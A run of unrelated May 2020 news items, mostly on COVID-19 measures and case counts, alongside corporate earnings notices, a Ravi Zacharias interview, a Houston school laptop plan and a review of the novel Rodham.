A Reuters survey of 18 funeral homes and crematoriums across the capital found that official statistics may be significantly understating the true death toll.

The government has said the actual number of cases likely exceeds the confirmed totals but Lopez Obrador has rejected reports the numbers are far higher.

Mexico City and the surrounding area has borne the brunt of the pandemic and occupation of hospital beds in the capital this week stood at 72%, a slight fall from last week.

Francisco Moreno, an infectious disease expert and head of the COVID-19 program at Mexico City's ABC medical center, said the main issue was the availability of ventilators and medical staff trained to use them.

Some 64% of beds in the capital with ventilators were occupied as of Wednesday, the latest data show. (Reporting by Carlos Carrillo; Additional reporting by Dave Graham; Writing by Anthony Esposito Editing by Daniel Flynn and Rosalba O'Brien)
CSOL Holding Ltd. will announce the results for the first quarter 2020 on Thursday, May 28, 2020. In connection with the release, a telephone conference will be held at 9:00 a.m. (Lima) as described below.

The presentation will be published at 8:00 a.m. (Lima) and will be available on the Company's website.

In connection with the earnings release Jorge Ramirez Rubio, CEO, and Andres Colichon Sas, CFO, will host a conference call presentation and a Q&A session at 9:00 a.m. (Lima).

To participate in the conference call, please use the following numbers:

London, UK Local +0800 028 8438

US/Canada International +1 409 981 0728

Zurich, Switzerland, Local +044 580 1733

Oslo, Norway, Local +47 2396 4173

Colombia, National Free Phone +01 800 518 5094

Chile, National Free Phone +56 800 914 686

Peru, National Free Phone +51 0800 71470

Participants will be asked for their name and conference ID.

The Camposol conference ID is: 9945678

Audio access for the meeting is available by dialing the above-mentioned numbers.

To access the presentation webcast in connection with the conference call, please use:

https://edge.media-server.com/mmc/p/t9eof2gj

Participants are advised to log on to the service and check their configuration well ahead of the telephone conference commencement.

For further information, please contact:

Andres Colichon Sas, CFO

acolichon@camposol.com.pe

Milagritos Oliver, Controller

molivero@camposol.com.pe

Phone: +511 621 0800 Ext.: 7171



About CAMPOSOL

CAMPOSOL is a vertically integrated producer of branded fresh and healthy food that offers high quality, healthy and fresh food to consumers around the world, based on a sustainable management model. CAMPOSOL's portfolio includes superfoods like blueberries, avocados, mandarins, among others. Additionally, our international commercial platform is responsible for the commercialization of the products of these two units, with offices in the US, The Netherlands, and China.

CAMPOSOL guarantees the full traceability of its products and is committed to supporting sustainable development through social and environmental responsibility policies and projects intended to increase the shared-value for all its stakeholders. On the strength of this value proposition, CAMPOSOL's commercial offices have established long-term relationships with the top worldwide supermarket chains and service them directly.

CAMPOSOL is also an active member of the Global Compact since 2008. It presents annual Sustainability Reports aligned to the GRI Methodology and has achieved the following international certifications: BSCI, Global Gap, IFS, HACCP, and BRC among others.
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Ravi Zacharias, one of the greatest Christian apologists of our time, died Tuesday at the age of 74, following a battle with a rare form of cancer.

During my stint as a journalist with Bangalore Mirror, I got to interview Zacharias in December 2012, when he came to Bangalore to deliver a talk on Christmas.

Ravi  who was compared to Christian apologetics titan C. S. Lewis and authored many Christian books, including the Gold Medallion Book Award winner Can Man Live Without God?  came across as a very humble person. He said, To the best of my ability, I attempt to serve God. I have never wanted to be the best. I have wanted to do my best for God.

He spoke his mind in an interview ranging from the prosperity doctrine to how he prepares to preach.

Excerpts:

As a leading Christian thinker, what do you think are the challenges facing the world today?

Cumulative wisdom is unable to meet the daunting challenges of our time. Biblical leadership is all I see here. We really dont have any answers. So we swing from one extreme to another.

When I spoke at a breakfast meeting at the United Nations this year  my third time there  in private, many world leaders will tell you that they really dont believe there are political answers to the worlds problems. The real challenge they face is how to go public with their own spiritual hunger. They must realize the moral imperatives of the Christian faith are important for societies to survive.

How would you respond to someone who asks you, Why is Jesus Christ the only way? Why not Islam or any other religion?

I would ask that person a very simple question: Is truth by definition exclusive or all inclusive? Truth by definition is an affirmation of a fact, the contrary position of which is denied.

It is a false question to think that only the Christian faith propositions exclusivity. All faiths proposition exclusivity. If you ask a Muslim scholar what is the final authority, he will tell you its the Koran. If you ask a Hindu scholar, he will tell you it is the Vedas. If you ask him what the ultimate non-negotiables are, he will say karma and reincarnation. Now, exclusivity is intransient to truth.

The question is, does the Christian faith stand up to the test of truth? That is what he should ask. And I find the message of Jesus  not just talking about the exclusivity of truth  brings relevance, hope and love. The last words of Jesus on the cross were, Father, forgive them for they dont know what they are doing. Love and grace are at the core of what we need. This world needs a savior, and I believe in Jesus we find that savior.

If people react angrily to my answer, then I have to ask them, What is your worldview that allows you to legitimately get so angry at an answer or to not in seriousness or sincerity pursue it? If you have an issue with my answer, let us discuss it. Just to take a broad idea or logic and reject the whole thing is simply not in keeping with our fundamental laws of rationality.

What would you say to an atheist who says if God were a CEO of a company, he should be fired?

I would ask him, Why? And I know what he would say. He would probably give you a moral analysis of what is going on in the world. But the atheist does not have a right to a moral absolute he has already denied. So what is the moral absolute on which he bases his statement? He has to either justify moral reasoning or surrender moral reasoning. He cannot justify moral reasoning in a natural framework. Pragmatically, it may work.

But there is no rationally compelling reason why I should be moral. And if he denies the existence of God what moral framework is he using to judge God? Basically, he has his feet firmly planted in mid-air. So the problem has not been solved. God has to be in the paradigm for it to be resolved.

I would also ask the atheist a very simple question. Can you show me in your scientific world or naturalistic framework how a non-moral being with an amoral process brings about a moral framework? Can you tell me how consciousness can come from non-consciousness? Can you tell me how something can come from nothing? That quantum vacuum is not nothing. We know that they just try to tell you that within that framework there are all the primordial beginnings  the capacity for design.

The process of design is a legitimate debate. But the fact of a designer cannot be debated. You may as well tell me the dictionary came about from an explosion in a printing press. The astronomers say that the possibility of this universe happening by accident is infinitely greater than one of a jumbo jet developing because of a storm going through a junkyard. Think of the mathematical improbability of that happening.

So what do people like scientist Francis Crick say? They propose Panspermia theory which says that a spaceship brought some spores from another planet to seed the earth. And they accuse the Christian of having faith.

With that kind of a starting point, one of my professors of philosophy at postgraduate school used to say, A naturalist is better at smelling rotten eggs than at laying good ones.

What are your thoughts when people call you the C. S. Lewis of our times?

I feel bad for C. S. Lewis when anybody gets compared to him. How do you compare someone who lived two generations ago? Next year will be his 50th death anniversary. He was way ahead of his times. We are talking about his writings in the 50s and 60s  a brilliant combination of art, literature, philosophy and argument. He was unique. I think he was probably the greatest apologists in history. I am nowhere in the ranks of such a person. I live under no such illusion. People are very kind when they say things like that. If a speaker/writer takes any glorifying description of himself or herself seriously, it is the beginning of the end of their calling. I came through a life of successive failures. Its only the grace of God that has opened doors and equipped me to do what Im doing. Im not in the ranks of giants like C. S. Lewis.

You keep coming to India often, where you have strong roots. Youve seen India grow since the economic liberalization of the 90s. What do you think of Indias spiritual condition and its young generation?

I position the background to India in three ways. There are few nations in the world with such intellectual strength. The Indian mind is brilliant. Without dispute, Indias largest export is knowledge, intelligence and intellectual. India is fraught with several challenges and how it deals with them will determine success. One, the tendency to buy into corruption. This goes across the board. Almost any profession you go to, they try to buy their way into it. Two, factionalism and the fractured society. People dont seem to be able to get along in organizations. Everybody has a fight, and goes and starts his own. Why are we not able to humbly work with one another? Three, unless we learn to realize that what we believe has to be measured against truth and not just against practice, we will run aground. We will run into problems. Thats the background. What I see in India? I love coming here. Hum dharti kay aadmi hai (Im a person of the soil). I was born in Chennai, my father is from Kerala, and I was raised in New Delhi. I speak Hindi and Tamil. I love coming to India. I love Indian cuisine. I love its people, its movies. But we have a long way to go.

Well-known atheist Richard Dawkins says he doesnt want to debate with creationists because the latter only do it for the sake of publicity. How would you respond to that?

He is the last person I would take seriously about criticizing someone for doing it for publicity. This man has become extremely wealthy by talking about Gods non-existence. I would like to get a look at his contracts at what kind of money he is getting paid and what kind of publicity he has got.

What is the place of Christian apologetics in Christian faith? Also, how should it be balanced with the message of Christs love?

Christian apologetics actually has two tasks. First, giving answers to specific questions. Second, making truth claims clear.

Truth must always be undergirded by love. My mother, who was from Chennai, and my father from Kerala, used to say, If you cut off someones nose, there is no use in giving him a rose to smell. If Christian apologetics cuts off the listeners nose, there is no use in giving them the sweet aroma of the Christian message. You have to do it undergirded by love. You learn this as a parent. You can hammer something into your childs head, and when they leave they extract it and fling it away. But if you sow it with seeds of love, it will remain in their hearts permanently. So the truth of Christ is both true and relevant undergirded by love.

Whats your take on the prosperity doctrine which has gained ground in Christianity?

Prosperity doctrine is not the private domain of Christians or Christian preachers. Many Hindu gurus have done very well with the prosperity doctrine as well. Let your head be empty and your hand be full takes on a whole new meaning when you think of that kind of stuff. Look at the billions and the empires of some of the gurus and all the court cases being fought over money. You can also see that in corporations. You can see that in Wall Street. You can see that in families. Money and the attraction of money draws people from every walk of life. Look at politics and the corruption there. So you cannot denounce a calling or a vocation on the basis of those who abuse it.

And the prosperity doctrine  that tells you to follow and believe God because you can get wealthy  is a fundamental violation of what the Christian faith is all about. Jesus tells you, What shall it profit a man if he gains the whole world and loses his own soul? Your soul is what he talks to you about. But the media allows you to market faith in a way that dresses with shining light and highly polished appearances. And the means have become an end in itself.

Where do you see yourself in the future?

I want to make sure that I finish well. My biggest love and passion is my family. I want to see my children and grandchildren grow up and serve Christ. And if they will follow and walk closely with the Lord then I will consider my mission in life accomplished.

I see the Ravi Zacharias International Ministries and the Oxford Center of Christian Apologetics produce some of the brightest young intellects and apologetics in years to come. I want to make sure that RZIM and OCCA will do well and continue our legacy. I will keep writing and speaking, and like Billy Graham pray every day, Let me not do anything that would ruin all these years of service to You and bring You a bad name.

Heres a preachers question. How does Ravi Zacharias prepare for a message?

There are ideals and then there are practical realities. When you are traveling around the globe sometimes fatigue is a very real factor, and you lose your sleep and you lose many hours of rest. The most important thing you have to prepare is, what do I want to see accomplished in the message? Pray, study, prepare with that in mind. When you do that  keeping in mind that ultimately the transformation of a heart is Gods prerogative, not ours  we do what God calls us to do.

You never prepare a message in a vacuum. You do it in years and years and years of study. What does a heart surgeon try to accomplish in heart surgery? To get that person back a new heart. Did it all happen in those few hours? No. It took years and years of preparation to get there. It is a life-long pursuit, not a momentary thing.

What would you tell Bible college graduates who want to preach like Ravi Zacharias?

I would tell them not to aim so low. I would ask them to be the kind of preachers God wants them to be. Not all of us can reach every person. My mother could have never stood on a pulpit. She was such a nervous type of person. But she was the kind of salt and light this world needs. She poured her life into us kids. If it werent for her, I wouldnt have made it.

Be content with the giftedness God has given and dont try to be someone else. If you try to be somebody else, you lose the uniqueness of what God hardwired you to be as an individual. Seek first what God has hard-wired you to be. Anyone who wants to try to be like someone else is running in the wrong direction.

The Bible says that judgment begins in the house of God. As one among the foremost Christian thinkers of our time, what would you say to the Christians and the Church?

Almost all of the failures we see globally are not the failure of the society but failure of the Church. Think of how divided the Christian Church is. They never seem to be able to come together even on the most serious matters. Each one wants his own little puddle. They say when the waters are low, every shrimp wants its own puddle. Weve got our own little puddles in which we want to swim.

We have to know what it means to be a Christian in belief and in practice. The term follower of Jesus has become such a fluid term. People dont even know what it means anymore. We have to think very carefully of what it means to be a follower of Jesus Christ. We are living in a world, which listens with its eyes and thinks with its feelings. We have to understand that. It has to be lived visibly and it has to appeal to the emotions of the audience we speak to. If the Church doesnt respond in that character, we will only be another cultural movement across history.

Whats your advice to a Christian facing persecution, at a time when persecution is rampant in India?

Often persecution is done by those who claim to be the most spiritual but belonging to something else. It actually tells you that spirituality is just a mask for power.

I tell the ones who are persecuted this: When the early Church was persecuted it grew. When Christians were scattered all over the world they became the salt and light. Nobody wants or likes to be persecuted. But the Bible says we will be persecuted.

Not everybody wants the truth. Those who persecute Christians are really not looking for the truth. They are looking to propagate hate.

I say to the Christians, respond with love. Love is far more powerful and will ultimately conquer hate. Hate divides, love heals. Dont respond with hate. The Church has grown. China and the Middle-East are classical examples of that. Dont let the persecutors silence you. Live in a loving way. And live it out consistently.

Your Christmas message?

My message for Bangalore is: understand that God works in and through time, that God works across cultures, that God works across classes.
Those few people flying this Memorial Day will find the security procedures at the airport have changed slightly to reduce exposure to the coronavirus.

Transportation Security Administration officials said the screening process will change to minimize handling of documents. TSA has started to implement the changes and more to be implemented at airport checkpoints nationwide by mid-June, officials said.

The change comes as the TSA reported 590 employees have tested positive for COVID-19, 386 workers have recovered and 6 people have died, said LIsa Farbstein, a TSA spokeswoman. Of those, 61 workers at Newark Liberty Airport have tested positive.

So, whats changing exactly?

Travelers will no longer hand their boarding pass to a TSA agent at the document checkpoint. Instead, fliers will place the boarding pass on a boarding pass reader themselves. After its scanned, travelers should hold their boarding pass and move it toward a TSA officer, who will visually inspect it. This reduces physical handling.

At the X-Ray checkpoint, passengers with carry-on food items must have put them in clear plastic bag and place that bag into a bin. Because food can trigger an alarm during the screening; separating the food from the carry-on bag reduces the likelihood that a TSA officer will have to open the carry-on bag and remove the food for a closer inspection.

This requirement also allows social distancing and reduces potential for cross-contamination, officials said. TSA PreCheck members do not need to remove items from their bags.

TSA encourages travelers to remove items, such as belts, and items from their pockets, such as wallets, keys and phones, and put them directly into their carry-on bags, instead of into bins to reduce handling during the screening process, officials said.

Passengers should make sure they dont have any prohibited items in carry ons, such as liquids, gels or aerosols in quantities greater than 3.4 ounces. This includes water bottles and shampoo. In response to COVID-19, TSA will allow each passenger to carry on one liquid hand sanitizer container, up to 12 ounces. Passengers are required to remove the hand sanitizer from the carry-on bag before X-Ray screening.

Travelers who forget to do this could have to spend more time going to an area outside security, to remove and dispose of any prohibited items and going through the process again. This change reduces the likelihood that a TSA officers will need to touch the contents inside a carry-on bag reducing the potential for cross-contamination.

Other changes should be ones that travelers are familiar with such as social distancing, airports will have markers on floors. TSA agents will wear masks and fliers are encouraged to do the same.

More information on the TSA security screening process during the pandemic can be found at www.tsa.gov/coronavirus.

Please subscribe now and support the local journalism YOU rely on and trust.

Larry Higgs may be reached at lhiggs@njadvancemedia.com.
Houston ISD officials hope to provide every student with a district-issued laptop in 2020-21 and beyond, an ambitious target that would deliver much-needed technology to children but require voters to approve a bond package in the next several months.

Interim Superintendent Grenita Lathan said HISD officials are working toward a goal of buying computers throughout the upcoming school year for all 150,000-plus elementary and middle school students. HISD high school students already get computers under an initiative, known as PowerUp, started in 2014.

The laptops would assist families struggling with a lack of at-home technology amid the novel coronavirus pandemic, which pushed most instruction online for the last 10 weeks of this school year and likely will cause some classes to remain virtual into 2020-21.

Once the pandemic subsides, the laptops also would help bridge the so-called digital divide, providing more opportunities for students from lower-income families to access the internet and other educational programs.

The goal is, as soon as we get them in is deploy them out, Lathan said. It will just take time to get the devices in. As we get them in, well look to see if theyll be given to middle school students first or elementary school students, or some at both levels.

The initiative, however, would carry enormous costs that are not accounted for in HISDs $2 billion spending plan for 2020-21.

District officials said they would have to spend $65 million on laptop hardware  not counting warranties, repairs, carts and replacement devices  to outfit HISDs elementary and middle school students.

THE DIGITAL DIVIDE: Now more than ever, lack of tech puts kids education in peril

HISD leaders also would have to hire dozens or hundreds of staff members to maintain the laptops and eventually pay to replace older technology in the years to come.

District administrators still are calculating the price tag for supporting 150,000-plus additional students with laptops, but Chief Information Officer Scott Gilhousen told board members Thursday that early estimates put the bill at $90 million over five years for middle school students alone.

The part were working on right now is the elementary schools and what it would take to outfit those students, Gilhousen said.

In a statement Friday, HISD administrators acknowledged the district would need to have a bond program to pay for the laptops and recurring costs  a potentially tall task given multiple headwinds.

HISD officials were working earlier this year toward a possible $2 billion-plus November bond election, the districts first in eight years.

That momentum stalled, however, when Lathan placed Chief Operating Officer Brian Busby  one of the top officials responsible for overseeing bonds  on home duty in February after federal agents searched district headquarters and his Cypress-area home. Busby, who remained on home duty as of last week, has not been charged with a crime.

Now, with the pandemic and lower oil prices ravaging Houstons economy, voters could be even more skittish about approving a multi-billion dollar bond. HISD officials have not yet proposed a bond package, Busby predicted in February that the $2 billion-plus proposal would call for tax rates remaining flat or increasing by a maximum of 2 cents per $100 in taxable value.

HISD also remains under threat of Texas Education Commissioner Mike Morath ousting the districts elected trustees and replacing them with an appointed board, the result of chronically low performance at Wheatley High School and multiple findings of misconduct by trustees in recent years. A Travis County judge issued a temporary injunction in January halting the takeover, which state officials are appealing.

District officials could seek a smaller bond package targeted more toward technology in November or early 2021, though administrators have not outlined any such plans.

SCHOOL FINANCES: State education leaders tell districts to budget wisely ahead of possible cuts

HISD Trustee Judith Cruz said providing technology to students is definitely a priority, but she called affordability a huge concern. She suggested the district evaluate multiple options for funding the initiative, such as seeking philanthropic dollars and investigating the availability of federal money.

This could be over $100 million over time, and so I do think it warrants more discussion and a lot of forethought, Cruz said.

HISD officials have credited the high school PowerUp program with helping students finish homework, perform research and complete college application forms, among numerous other tasks.

Now, with most instruction taking place online, computers serve as a lifeline for children of all ages.

Jamekia Ross, the mother of two eighth-graders at Williams Middle School and a second-grader at Osborne Elementary School, said new laptops would take a big headache out of the equation for her family. Her children are juggling three tablets and a cell phone for schoolwork  none of which have external keyboards  and sometimes struggle to access online programs used by the district.

If its accessible and easy, the kids want to do their work alone, Ross said. If they dont think its easy, they want me there. Im not able to just give them homework and go to work myself.

Hogg Middle School Principal Vanessa Saldana, whose staff provided about 130 Chromebooks to students following the shutdown of schools in mid-March, said many families are sharing computers or relying on laptops that parents take to work. With buildings closed, about one-quarter of her students are not engaged in classwork on a daily basis.

I really feel technology is not an extra, Saldana said. Its an essential, especially now.

HISD officials already have bought about 35,000 laptops for students and secured 4,000 wireless internet hotspots since the shutdown, Gilhousen said. The district has distributed about 26,000 hotspots, which provide free internet within a limited space to a household, in recent years following donations from Sprint and T-Mobile.

jacob.carpenter@chron.com
Its not easy to fall in love with Bill Clinton these days. Sure, the former US president was once considered charming  some might even say magnetically charismatic. But he's 73 now, and the #MeToo movement has given everyone a different reading of his affair with a 22-year-old White House intern. Add to that his ensuing impeachment on charges of perjury and obstruction of justice, and Bill seems an unlikely pick in the swoon-worthy love interest category.

But at the beginning of Curtis Sittenfelds new novel, Rodham, Bill Clinton is, well, dashing. Hes young, kind, funny, and witty. Hes also good-looking, charming, and madly in love with his new girlfriend, Hillary Rodham.

Soon enough, though, this Bills darker nature is revealed, and  this isnt a spoiler, but rather the premise for Sittenfelds book  Hillary doesnt marry him.

Rodham became one of the most anticipated novels of the year from the moment its premise was unveiled in 2017. In it, Sittenfeld rewrites history, imagining Hillary Rodhams life if she hadnt become a Clinton.

This isnt the first time Sittenfeld, whose 2005 debut Prep has become a cult classic, has found inspiration in a former American first lady. In 2008, her novel American Wife fictionalised the life of Laura Bush to widespread critical acclaim. Eight years later came Eligible, a modern retelling of Pride and Prejudice set in Ohio. So when the time came to start working on Rodham, Sittenfeld already knew how to successfully borrow from an existing narrative.

But re-inventing the life of the 2016 Democratic nominee, especially in Trumps America, seems a bit of a riskier enterprise  although Sittenfeld herself describes it in a way that makes it sound like an almost simple task. I had to make the decision to write the novel, and then I had to think through a few things, like Am I going to use real names? Yes. For the very prominent people, I am, she says during a phone conversation from her home in Minneapolis, Minnesota. But once I had made those decisions, I was just moving forward. I didnt revisit a lot of my own decisions.

Rodham began with a short story. In 2016, an editor for Esquire asked Sittenfeld if she would like to write one told from the perspective of Hillary Clinton as she becomes the first female nominee in the US presidential race. The story, titled The Nominee, ran in May 2016. It became reality two months later, in July 2016, when the real Clinton accepted the Democratic nomination.

Then, of course, the 2016 election cycle went on, and something intriguing started happening. Around the time of the election, I realised that school children who knew Hillary was running for president often literally didnt know that Bill Clinton existed, Sittenfeld says. And it was sort of fascinating to me, especially after the election, to think about how the outcome might have been different if adults saw Bill and Hillary as separate the way that children do.

Had America elected a second President Clinton, Rodham would likely not have happened. I dont think I would have written this book if shed won the election, Sittenfeld adds. And given what happened, I would not have written a straightforward retelling of the 2016 election.

Reading the book, its clear that its the work of an author who felt compelled to make sense of an alternate narrative and to relish in the power of What if?  which ends up informing our view of what actually transpired. I think in some ways thats one of the special and wonderful and mysterious things about fiction, that it can be intimate in ways that an interview cant be, or a work of nonfiction usually cant be, she says. But to be clear, this is a book of imagination and creativity, and its not Hillarys memoir. Its not a biography. Ive never met her. I see this as an artistic experiment.

On the phone, Sittenfeld is confident and gracious. She discusses writing in a way that reflects her experience and mastery in the domain, though shes also willing to acknowledge the more challenging aspects of her work. With Rodham, she was much more concerned about reaching the end of the manuscript than about what people  including Clinton herself  might think about the finished product.

I admire Hillary, but my primary goal was not going to be to write a book that would endear me to Hillary Clinton or potentially result in my meeting her, she says. I thought, I just want to make the decisions that I think serve this story and make it complex and entertaining and alive. I think to some extent when youre writing a novel, no matter what it is, you have to enter the world of the novel and try to execute your own vision. And then people are allowed to react however they react.

Rodham has had a warm reception. Some have praised it as offering as a refreshing glimpse into a different world  an escape needed perhaps more than ever, now that Donald Trump is not only president, but in charge of navigating the US through the most turbulent crisis of our times.

Rodham manages to elevate Hillarys experience beyond the specificities of its protagonists life. Its a compelling thought experiment and an impressive artistic achievement, but its also the moving story of a young, booksmart young woman trying to find her place in a world where it doesnt seem anyone will ever love her brain. Its a tale of female ambition in a world where men call the shots. Its an exploration of why we love the people we do, and what that tells us about ourselves. Its a Hillary story, yes  one that resonates far beyond the confines of Pantsuit Nation.

Rodham is out in e-book and audiobook in the US (Random House) and in the UK; it is available in hardcover in the US and will be published in hardback on 9 July in the UK
The Delhi government has demarcated 14 new containment zones across south-west, north, north-west and south-east districts, government official said on Friday.

Six new containment zones were added in the south-west district after 39 Covid-19 cases were reported in a cluster from Vikaspuri, Palam and Kanganheri village in the last few days.

According to officials of the south-west district administration, of the six containment zones, three are located in Vikaspuri, two in Palam and one in Kanganheri village.

The newly added containment zones are Deep Enclave Part-2, Vikaspuri; DG3 Block, Vikas Puri; Kanganheri Village; Puran Nagar, Palam Colony; F-Block, Vikaspuri; and Gali number 46, Sadh Nagar, Palam Colony .

Four Covid-19 cases were reported from Deep Enclave, seven from DG3 block Vikaspuri, eight from Kanganheri village, four from Puran Nagar, eight from F-block Vikaspuri and eight more from Sadh Nagar in Palam Colony. These cases were reported in the last 3-4 days. The containment operations were started 2-3 days back, an official at the office of the district magistrate (south-west) said on Friday.

Apart from six containment areas in southwest district, the other new containment zones are EE-Block Jahangirpuri, E2 block Jahangirpuri, Lal Bagh In Azadpur, D-1 block Jahangirpuri, JJ Camp Badli, C-block Mangolpuri, Naharpur Village in northwest district and Sunlight Colony-1 in southeast district.

Total number of containment zones is now 92. The government also decontained one area B-Block New Ashok Nagar in east Delhi.

The government has till now de-contained 34 areas in the city where no fresh Covid-19 cases have been reported in the last 28 days.

Containment zones comprise apartment blocks, gated communities, slums, streets, even entire neighbourhoods. They are complete quarantine zones and no one is allowed to step out even to buy essential goods such as milk, vegetables, fruits etc. All the entry and exit points and even the internal lanes are barricaded. The authorities allow only a number of selected vendors to supply groceries and other essentials to the neighbourhood with the help of RWA and civil defence volunteers.

In an order, Rahul Singh, district magistrate (south-west), said that the cluster containment strategy would be to contain the disease within a defined geographical area via the early detection of cases, breaking the chain of transmission and thus preventing its spread to new areas. This would include geographic quarantine, social distancing measures, enhanced active surveillance, testing suspected cases, isolation of cases, quarantine of contacts and risk communication to create awareness among the public on preventive public health measures, Singh said.

He said all the concerned officials had been directed to ensure the availability of essentials and basic necessities such as food, medical facilities, sanitation, etc.

The administration officials said that a buffer zone would be made around each containment zone where banners and posters would be pasted to make people aware of the containment zone.

Medical authorities will test owners and employees working at grocery and medical stores for Covid-19, the official said.

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Silvercorp (SVM) came out with quarterly earnings of $0.02 per share, beating the Zacks Consensus Estimate of a loss of $0.01 per share. This compares to earnings of $0.03 per share a year ago. These figures are adjusted for non-recurring items.

This quarterly report represents an earnings surprise of 300%. A quarter ago, it was expected that this mineral miner would post earnings of $0.06 per share when it actually produced earnings of $0.04, delivering a surprise of -33.33%.

Over the last four quarters, the company has surpassed consensus EPS estimates three times.

Silvercorp, which belongs to the Zacks Mining - Miscellaneous industry, posted revenues of $18.86 million for the quarter ended March 2020, missing the Zacks Consensus Estimate by 3.78%. This compares to year-ago revenues of $34.95 million. The company has topped consensus revenue estimates two times over the last four quarters.

The sustainability of the stock's immediate price movement based on the recently-released numbers and future earnings expectations will mostly depend on management's commentary on the earnings call.

Silvercorp shares have lost about 23.3% since the beginning of the year versus the S&P 500's decline of -8%.

What's Next for Silvercorp?

While Silvercorp has underperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock?

There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's earnings outlook. Not only does this include current consensus earnings expectations for the coming quarter(s), but also how these expectations have changed lately.

Empirical research shows a strong correlation between near-term stock movements and trends in earnings estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of earnings estimate revisions.

Story continues

Ahead of this earnings release, the estimate revisions trend for Silvercorp was mixed. While the magnitude and direction of estimate revisions could change following the company's just-released earnings report, the current status translates into a Zacks Rank #3 (Hold) for the stock. So, the shares are expected to perform in line with the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here.

It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus EPS estimate is $0.03 on $42.60 million in revenues for the coming quarter and $0.17 on $180.60 million in revenues for the current fiscal year.

Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, Mining - Miscellaneous is currently in the top 8% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1.



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Good day, Nigeria, welcome to Naija News roundup of top Coronavirus (COVID-19) news headlines for today Friday, May 22, 2020.

Below is a roundup of top stories on the COVID-19 disease

The Nigeria Centre for Disease Control, NCDC, on Thursday night confirmed three hundred and thirty-nine new cases of Coronavirus in Nigeria.

The agency in a post on their official Twitter account confirmed the new cases bringing the total number of confirmed cases in Nigeria to 7016.

Meanwhile, 1907 patients have been discharged, while 211 deaths have been recorded in the country.

The Federal Government led by President Muhammadu Buhari has restricted public gatherings in the country to 20 persons ahead of Eldi Fitri Celebration amid Coronavirus in Nigeria.

Naija News reports that the Secretary to Government of the Federation (SGF) and Chairman of the Presidential Taskforce (PTF) on COVID-19, Boss Mustapha, disclosed this on Thursday at the ongoing briefing of the taskforce.

The Chairman of the Presidential Taskforce (PTF) on COVID-19 said the decision is a measure to contain the spread of Coronavirus in Nigeria.

A strong advisory from the PTF is that large gatherings beyond 20 persons remain restricted, Mustapha said.

Lagos State led Governor Babajide Sanwo-Olu, has recorded four new Coronavirus deaths, bringing the total number of COVID-19 deaths in the state to forty-two.

Naija News reports that the Lagos State Commissioner of Health, Prof. Akin Abayomi, announced this on the micro-blogging site, Twitter, on Thursday, May 21.

This online news platform understands that the tweet also revealed that 191 cases of Coronavirus in Lagos, were recorded on Wednesday, May 20.

The President of Madagascar, Andry Rajoelina, has revealed that the World Health Organisation (WHO) has agreed to consider the countrys COVID Organics for a clinical observation process.

In a post on Twitter, Rajoelina disclosed that he had a meeting with WHO Director-General, Tedros Ghebreyesus via a video call.

He wrote: Successful exchange with @DrTedros who commends #Madagascars efforts in the fight against #Covid19 and congratulates us for the discovery of #CovidOrganics.

WHO will sign a confidentiality clause on its formulation and will support the clinical observations process in #Africa.

Following @WHOs invitation to be part of Solidarity Trial for clinical trials, #Madagascar will prove the effectiveness of its third protocol that combines two injectable medicines that are different from #CovidOrganics.

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Source: Xinhua| 2020-05-22 13:50:16|Editor: huaxia

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SYDNEY, May 22 (Xinhua) -- From next month up to 50 people at a time will be allowed in pubs, cafes and restaurants in Australian state of New South Wales (NSW).

However, patrons will be banned from standing, mingling or dancing.

On Friday, Australia's most populous state and the hardest hit by COVID-19, NSW, recorded just three new infections, taking the number of confirmed cases to 3,084. The total in Australia stood at over 7,079, with 100 virus-related deaths.

As the country gradually scales back COVID-19 lockdown, NSW Premier Gladys Berejiklian announced that the number of people allowed in venues at one time would go from 10 to 50 as of June 1.

However, the new rules which are among the most lenient in the country, come with strict provisions to avoid the risk of a second major virus outbreak.

These include that each patron must have at least four-square-meters of space and aren't allowed to stand, mingle or dance, as well as banning the use of shared cutlery and buffets.

"This decision has been made with expert health advice and both businesses and patrons will be subject to strict rules and guidelines," Berejiklian said.

"All customers must be seated and no bookings of more than 10 allowed, in addition to many other conditions which must be met." Enditem
An indicator of global oil prices reached its highest point since March today, indicating a possible recovery for the market after the Saudi-Russian price war and losses caused by the COVID-19 pandemic.

News organizations reported that the price of Brent crude oil rose to $36.06 a barrel today, its highest price since March 10, the day before the pandemic was declared. Brent crude fell to a 21-year low of under $16 a barrel in April.

The price of Brent, a crude oil variety found in northern Europe, is often used as a benchmark for the price of oil around the world.

Oil prices began dropping significantly in January as a result of the coronavirus outbreak. In March, a price war between Russia and Saudi Arabia that resulted from a failure to agree on production cuts further brought down prices.

In April, OPEC  in which Saudi Arabia is the largest oil producer  and Russia reached a deal to cut production, which helped lead to an increase in prices.

There was significant pressure on the two sides, including from the United States. President Donald Trump went so far as to threaten to remove US troops from Saudi Arabia if production was not cut. The US military is in Saudi Arabia to deter Iran, Saudi Arabias main regional foe and fellow member of OPEC.

Global oil prices have been rising for about a week, which could be a sign of an improved outlook for the industry, according to the financial news outlet Bloomberg. The virus is still putting a major damper on the global oil business, however. For example, on the day China finally reported the coronavirus breakout to the World Health Organization, Dec. 31, Brent closed at $66 a barrel.
